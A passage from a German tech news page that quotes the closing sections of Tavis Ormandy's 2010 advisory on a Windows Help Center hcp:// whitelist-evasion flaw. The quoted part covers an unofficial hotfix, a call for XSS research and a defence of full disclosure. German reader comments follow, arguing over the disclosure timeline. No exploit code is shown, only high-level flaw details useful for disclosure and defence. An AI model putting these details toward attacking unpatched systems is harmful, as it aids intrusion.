rely on the use of hcp://, I have created an unofficial (temporary) hotfix. You may use it under the terms of the GNU General Public License, version 2 or later. Of course, you should only use it as a last resort, carefully test the patch and make sure you understand what it does (full source code is included). It may be necessary to modify it to fit your needs. The package is availble for x86 here: http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/hcphotfix.zip [ NOTE: Please avoid linking to this file out of context, it is intended for consideration as a potential mitigation by experienced administrators, and is not suitable for consumption by end-users ] The hotfix intercepts helpctr.exe invokations, and patches MPC::HexToNum() to return zero on error, rather than -1. Nothing is changed on disk, and it can be safely removed at anytime. Of course, the result of an invalid unescape is still incorrect, but this specific vulnerability should be rendered inert. I would be greatful if the community could contribute bugfixes, testing, an x64 port, and so on. Once information is in the open, we can all collaborate on our collective security. Some clarifications, * Fixing the XSS is not a solution, the root cause is the whitelist evasion, any mitigation that does not address this is simply papering over the issue. An army of researchers that specialise in XSS exists, and i'm sure they will turn their attention to help documents once they realise their value. Assume more will be discovered. * That said, if you are an XSS expert, examples in whitelisted pages (/services/index, /services/search, etc.) would be useful, your skills could be helpful making this important software safe. * Removing Windows Media player is not a solution, it simply makes a fun demo for IE8 and other modern browsers. Finally, you should take this opportunity to disable all browser plugins and SFS ActiveX controls that are not regularly used. End users can do this themselves in Google Chrome by viewing about:plugins and disabling the plugins that are not required. In Mozilla Firefox, use the Tools->Add-ons->Plugins interface. ------------------- Solution ----------------------- Microsoft was informed about this vulnerability on 5-Jun-2010, and they confirmed receipt of my report on the same day. Protocol handlers are a popular source of vulnerabilities, and hcp:// itself has been the target of attacks multiple times in the past. I've concluded that there's a significant possibility that attackers have studied this component, and releasing this information rapidly is in the best interest of security. Those of you with large support contracts are encouraged to tell your support representatives that you would like to see Microsoft invest in developing processes for faster responses to external security reports. ------------------- Credit ----------------------- This bug was discovered by Tavis Ormandy. ------------------- Greetz ----------------------- Greetz to Neel, Mark, Redpig, Spoonm, Skylined, asiraP, LiquidK, ScaryBeasts, Hawkes, Jagger, and all my other pimp colleagues. Special thanks to lcamtuf for his assistance with the deferred execution problem. You should read his Browser Security Handbook if you need to understand how web browser security /really/ works. http://code.google.com/p/browsersec/wiki/Main A colleague is organising a conference in Lucerne, Switzerland. He would really appreciate interesting papers from security people who want to talk about their research (travel, hotel, etc. covered). https://www.hashdays.ch/ ------------------- Notes ----------------------- I would like to point out that if I had reported the MPC::HexToNum() issue without a working exploit, I would have been ignored. Without access to extremely smart colleagues, I would likely have given up, leaving you vulnerable to attack from those who just want root on your network and do not care about disclosure policies. This is another example of the problems with bug secrecy (or in PR speak, "responsible disclosure"), those of us who work hard to keep networks safe are forced to work in isolation without the open collaboration with our peers that we need, especially in complex cases like this, where creative thinking and input from experts in multiple disciplines is required to join the dots. A good place to start researching full disclosure would be this accessible and insightful essay by Bruce Schneier. http://www.schneier.com/essay-146.html His balanced coverage of the debate is also available in this essay. http://www.schneier.com/crypto-gram-0111.html#1 Finally, a reminder that this documents contains my own opinions, I do not speak for or represent anyone but myself. ------------------- References ----------------------- hcp:// has been broken a few times over the years, for example: - http://seclists.org/bugtraq/2002/Aug/225, Delete arbitrary files using Help and Support Center - http://www.microsoft.com/technet/security/bulletin/ms03-044.mspx, HCP memory corruption by Dave Litchfield. The current design is actually pretty sound, I'm sure Microsoft are dissapointed they missed this flaw. In their defense, I think there's a good chance I would have also missed this in code review. -- ------------------------------------- taviso () cmpxchg8b com | pgp encrypted mail preferred
 
Man liest hier immer wieder, dass das Vorgehen des Google Mannes richtig war, dass er an die ÖFFENTLICHKEIT ging, obwohl er es schon 6 Tagen nachdem gemacht hat, als er MS informierte. Begründet wird dieses Fehlverhalten, indem man es rechtfertig, dass MS die Lücke dadurch schneller schliesst. Denn MS würde ansonsten nichts, oder nur langsam vorwärts machen. 6 Tage sind nichts und wer wirklich so naiv ist und glaubt, dass eine Veröffentlich nach einer so kurzen Zeit zum Wohle des Users ist, hat keine Ahnung und kann die Situation nicht einschätzen. Man sieht ja wo es nun hinführt und wie gut es für den User ist! Begründet wird dies mit Aussagen, dass MS ihre Lücken oft nicht schnell genug schliesst, obwohl schon zahlreiche Untersuchungen genau das Gegenteil bewiesen haben. Selbst Symantec war und ist einer der grössten Kritiker von MS, was in der Branche sehr wohl bekannt ist, stellt MS beim Lücken schliessen ein gutes Attest aus, besser als das Favoriten OS der Leuten die jetzt das Fehlerhaften von Google versuchen zu rechtfertigen. Denen geht es aber nicht um Fakten, oder das Wohl der User, nein sie missbrauchen die Situation einmal mehr um ihre Vorstellungen und Missgunst gegen MS freien Lauf zulassen, dabei werden solche Fakten einfach ignoriert: http://winfuture.de/news,38357.html und http://winfuture.de/news,35432.html
 
@Rumulus: Und noch früher: http://www.heise.de/newsticker/meldung/Studie-zur­-Sicherheit-von-Linux-und-Windows-96523.html
 
60 TAGE!! 60 Tage (ganze 2 Monate) wollte Ormandy ursprünglich MS Zeit geben, zumindest einen Fix zu entwickeln. Innerhalb von 5 Tagen wollte er lediglich eine Zusicherung von MS sich dieser Lücke anzunehmen. Die Redmonder haben dies aber völlig ignoriert, anscheinend weil sie naiv glaubten das Ormandy sich dies nie trauen würde. Deshalb ist Ormandy bereits nach 5 Tagen an die Öffentlichkeit gegangen. Aber auch die in diesen Fall äusserst misserable Berichterstattung der Medien hat zu diesen Irrtum beigetragen. Ich hoffe das hier liest noch jemand... -- http://twitter.com/taviso/status/16005411316
Kommentar abgeben Netiquette beachten!

Video-Empfehlungen

WinFuture Mobil

WinFuture.mbo QR-Code Auch Unterwegs bestens informiert!
Nachrichten und Kommentare auf
dem Smartphone lesen.

Folgt uns auf Twitter

WinFuture bei Twitter

Interessante Artikel & Testberichte

WinFuture wird gehostet von Artfiles